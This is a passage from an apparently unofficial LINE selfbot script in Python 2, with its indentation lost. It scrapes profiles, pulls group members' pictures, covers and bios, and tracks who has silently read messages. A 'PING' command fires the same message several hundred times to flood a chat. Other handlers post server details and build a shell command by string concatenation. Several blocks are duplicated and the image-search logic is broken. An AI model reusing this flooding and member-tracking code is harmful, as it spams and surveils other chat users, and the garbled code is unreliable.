mc += "\n⏰ " + cl.getContact(mi_d).displayName
cl.sendText(msg.to, "Staff :\n" + mc)
print "[Command]Stafflist executed"
#---------------------------------------------------------------------------
elif '.instagram ' in msg.text.lower():
try:
instagram = msg.text.lower().replace(".instagram ","")
html = requests.get('https://www.instagram.com/' + instagram + '/?')
soup = BeautifulSoup(html.text, 'html5lib')
data = soup.find_all('meta', attrs={'property':'og:description'})
text = data[0].get('content').split()
data1 = soup.find_all('meta', attrs={'property':'og:image'})
text1 = data1[0].get('content').split()
user = "Name: " + text[-2] + "\n"
user1 = "Username: " + text[-1] + "\n"
followers = "Followers: " + text[0] + "\n"
following = "Following: " + text[2] + "\n"
post = "Post: " + text[4] + "\n"
link = "Link: " + "https://www.instagram.com/" + instagram
detail = "========INSTAGRAM INFO USER========\n"
details = "\n========INSTAGRAM INFO USER========"
cl.sendText(msg.to, detail + user + user1 + followers + following + post + link + details)
cl.sendImageWithURL(msg.to, text1[0])
except Exception as njer:
cl.sendText(msg.to, str(njer))
#---------------------------------------------------------------------------
elif "Ava cover @" in msg.text:
if msg.toType == 2:
cover = msg.text.replace("Ava cover @","")
_nametarget = cover.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Not found")
else:
for target in targets:
try:
h = cl.channel.getHome(target)
objId = h["result"]["homeInfo"]["objectId"]
cl.sendImageWithURL(msg.to,"http://dl.profile.line-cdn.net/myhome/c/download.nhn?userid=" + target + "&oid=" + objId)
except Exception as error:
print error
cl.sendText(msg.to,"Upload image failed.")
elif msg.text in ["Restart"]:
cl.sendText(msg.to, "Bot Restarted" + datetime.now().strftime('\n%Y-%m-%d %H:%M:%S'))
restart_program()
print "@Restart"
elif "Turn off" in msg.text:
if msg.from_ in owner:
try:
import sys
sys.exit()
except:
pass
elif msg.text.lower() == 'ifconfig':
if msg.from_ in admin:
botKernel = subprocess.Popen(["ifconfig"], stdout=subprocess.PIPE).communicate()[0]
cl.sendText(msg.to, botKernel + "\n\n===SERVER INFO NetStat===")
elif msg.text.lower() == 'system':
if msg.from_ in admin:
botKernel = subprocess.Popen(["df","-h"], stdout=subprocess.PIPE).communicate()[0]
cl.sendText(msg.to, botKernel + "\n\n===SERVER INFO SYSTEM===")
elif msg.text.lower() == 'kernel':
if msg.from_ in admin:
botKernel = subprocess.Popen(["uname","-srvmpio"], stdout=subprocess.PIPE).communicate()[0]
cl.sendText(msg.to, botKernel + "\n\n===SERVER INFO KERNEL===")
elif msg.text.lower() == 'cpu':
if msg.from_ in admin:
botKernel = subprocess.Popen(["cat","/proc/cpuinfo"], stdout=subprocess.PIPE).communicate()[0]
cl.sendText(msg.to, botKernel + "\n\n===SERVER INFO CPU===")
elif msg.text.lower() == 'system':
if msg.from_ in admin:
botKernel = subprocess.Popen(["df","-h"], stdout=subprocess.PIPE).communicate()[0]
cl.sendText(msg.to, botKernel + "\n\n===SERVER INFO SYSTEM===")
elif msg.text.lower() == 'kernel':
if msg.from_ in admin:
botKernel = subprocess.Popen(["uname","-srvmpio"], stdout=subprocess.PIPE).communicate()[0]
cl.sendText(msg.to, botKernel + "\n\n===SERVER INFO KERNEL===")
elif msg.text.lower() == 'cpu':
if msg.from_ in admin:
botKernel = subprocess.Popen(["cat","/proc/cpuinfo"], stdout=subprocess.PIPE).communicate()[0]
cl.sendText(msg.to, botKernel + "\n\n===SERVER INFO CPU===")
elif "Viewlastseen" in msg.text:
lurkGroup = ""
dataResult, timeSeen, contacts, userList, timelist, recheckData = [], [], [], [], [], []
with open('dataSeen/'+msg.to+'.txt','r') as rr:
contactArr = rr.readlines()
for v in xrange(len(contactArr) -1,0,-1):
num = re.sub(r'\n', "", contactArr[v])
contacts.append(num)
pass
contacts = list(set(contacts))
for z in range(len(contacts)):
arg = contacts[z].split('|')
userList.append(arg[0])
timelist.append(arg[1])
uL = list(set(userList))
for ll in range(len(uL)):
try:
getIndexUser = userList.index(uL[ll])
timeSeen.append(time.strftime("%d日 %H:%M:%S", time.localtime(int(timelist[getIndexUser]) / 1000)))
recheckData.append(userList[getIndexUser])
except IndexError:
conName.append('nones')
pass
contactId = cl.getContacts(recheckData)
for v in range(len(recheckData)):
dataResult.append(contactId[v].displayName + ' ('+timeSeen[v]+')')
pass
if len(dataResult) > 0:
grp = '\n• '.join(str(f) for f in dataResult)
total = '\nThese %iuesrs have seen at the lastseen\npoint(`・ω・´)\n\n%s' % (len(dataResult), datetime.now().strftime('%H:%M:%S') )
cl.sendText(msg.to, "• %s %s" % (grp, total))
else:
cl.sendText(msg.to, "Sider ga bisa di read cek setpoint dulu bego tinggal ketik\nSetlastpoint\nkalo mau liat sider ketik\nViewlastseen")
print "Viewlastseen"
elif "Setlastpoint" in msg.text:
subprocess.Popen("echo '' > dataSeen/"+msg.to+".txt", shell=True, stdout=subprocess.PIPE)
#cl.sendText(msg.to, "Checkpoint checked!")
cl.sendText(msg.to, "Set the lastseens' point(`・ω・´)\n\n" + datetime.now().strftime('%H:%M:%S'))
print "Setlastpoint"
elif "Lirik " in msg.text:
songname = msg.text.replace("Lirik ","")
params = {"songname": songname}
r=requests.get('http://ide.fdlrcn.com/workspace/yumi-apis/joox?' + urllib.urlencode(params))
data=r.text
data=json.loads(data)
for song in data:
songz = song[5].encode('utf-8')
lyric = songz.replace('ti:','Title -')
lyric = lyric.replace('ar:','Artist -')
lyric = lyric.replace('al:','Album -')
removeString = "[1234567890.:]"
for char in removeString:
lyric = lyric.replace(char,'')
cl.sendText(msg.to, "Judul: " + song[0].encode('utf-8') + "\n\n" + lyric)
elif "Info @" in msg.text:
if msg.from_ in admin:
nama = msg.text.replace("Info @","")
target = nama.rstrip(' ')
tob = cl.getGroup(msg.to)
for g in tob.members:
if target == g.displayName:
gjh= cl.getContact(g.mid)
try:
cover = cl.channel.getCover(g.mid)
except:
cover = ""
cl.sendText(msg.to,"[Display Name]:\n" + gjh.displayName + "\n[Mid]:\n" + gjh.mid + "\n[BIO]:\n" + gjh.statusMessage + "\n[pict profile]:\nhttp://dl.profile.line-cdn.net/" + gjh.pictureStatus + "\n[Cover]:\n" + str(cover))
else:
pass
#-----------------------------------------------------------------
elif "youtube " in msg.text.lower():
if msg.from_ in admin:
query = msg.text.split(" ")
try:
if len(query) == 3:
isi = yt(query[2])
hasil = isi[int(query[1])-1]
cl.sendText(msg.to, hasil)
else:
isi = yt(query[1])
cl.sendText(msg.to, isi[0])
except Exception as e:
cl.sendText(msg.to, str(e))
elif 'Vidio ' in msg.text:
if msg.from_ in admin:
try:
textToSearch = (msg.text).replace('Vidio ', "").strip()
query = urllib.quote(textToSearch)
url = "https://www.youtube.com/results?search_query=" + query
response = urllib2.urlopen(url)
html = response.read()
soup = BeautifulSoup(html, "html.parser")
results = soup.find(attrs={'class':'yt-uix-tile-link'})
ght=('https://www.youtube.com' + results['href'])
cl.sendVideoWithURL(msg.to,ght)
except:
cl.sendText(msg.to,"Could not find it")
#========================================
elif ".fb" in msg.text:
a = msg.text.replace(".fb","")
b = urllib.quote(a)
cl.sendText(msg.to,"「 Searching 」\n" "Type:Search Info\nStatus: Processing")
cl.sendText(msg.to, "https://www.facebook.com" + b)
cl.sendText(msg.to,"「 Searching 」\n" "Type:Search Info\nStatus: Success")
#========================================
elif ".google " in msg.text:
a = msg.text.replace(".google ","")
b = urllib.quote(a)
cl.sendText(msg.to,"「 Searching 」\n" "Type:Search Info\nStatus: Processing")
cl.sendText(msg.to, "https://www.google.com" + b)
cl.sendText(msg.to,"「 Searching 」\n" "Type:Search Info\nStatus: Success")
#========================================
#-------------------------------------------------
elif "Ava @" in msg.text:
if msg.toType == 2:
cover = msg.text.replace("Ava @","")
_nametarget = cover.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Not found")
else:
for target in targets:
try:
h = cl.getContact(target)
cl.sendImageWithURL(msg.to,"http://dl.profile.line-cdn.net/" + h.pictureStatus)
except Exception as error:
print error
cl.sendText(msg.to,"Upload image failed.")
elif 'cari ' in msg.text.lower():
try:
shi = msg.text.lower().replace("cari ","")
kha = random.choice(items)
url = 'https://www.google.com/search?hl=en&biw=1366&bih=659&tbm=isch&sa=1&ei=vSD9WYimHMWHvQTg_53IDw&q=' + shi
raw_html = (download_page(url))
items = items + (_images_get_all_items(raw_html))
items = []
except:
try:
cl.sendImageWithURL(msg.to,random.choice(items))
cl.sendText(msg.to,"Total Image Links ="+str(len(items)))
except Exception as e:
cl.sendText(msg.to,str(e))
#-----------------------------------------------
elif "Ava group" in msg.text:
group = cl.getGroup(msg.to)
path =("http://dl.profile.line-cdn.net/" + group.pictureStatus)
cl.sendImageWithURL(msg.to, path)
#-----------------------------------------------
elif msg.text in ["Sp1","Speed","speedbot"]:
start = time.time()
ki.sendText(msg.to, "「 Debug 」\nType: speed\nTesting..")
elapsed_time = time.time() - start
ki.sendText(msg.to, "「 Debug 」\nType: speed\nTime taken: %s " % (elapsed_time))
elif msg.text in ["Sp2","Speed","speedbot"]:
start = time.time()
ki2.sendText(msg.to, "「 Debug 」\nType: speed\nTesting..")
elapsed_time = time.time() - start
ki2.sendText(msg.to, "「 Debug 」\nType: speed\nTime taken: %s " % (elapsed_time))
elif msg.text in ["Sp3","Speed","speedbot"]:
start = time.time()
ki3.sendText(msg.to, "「 Debug 」\nType: speed\nTesting..")
elapsed_time = time.time() - start
ki3.sendText(msg.to, "「 Debug 」\nType: speed\nTime taken: %s " % (elapsed_time))
elif msg.text in ["Sp","Speed","speedbot"]:
start = time.time()
cl.sendText(msg.to, "「 Debug 」\nType: speed\nTesting..")
elapsed_time = time.time() - start
cl.sendText(msg.to, "「 Debug 」\nType: speed\nTime taken: %s " % (elapsed_time))
elapsed_time = time.time() - start
#ki.sendText(msg.to, "%sseconds" % (elapsed_time))
elapsed_time = time.time() - start
#kk.sendText(msg.to, "%sseconds" % (elapsed_time))
elapsed_time = time.time() - start
#kc.sendText(msg.to, "%sseconds" % (elapsed_time))
#---------------------------------------------------------------------------
elif msg.text in ["PING","Ping","ping"]:
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
cl.sendText(msg.to,"PONG double thumbs upHar Har")
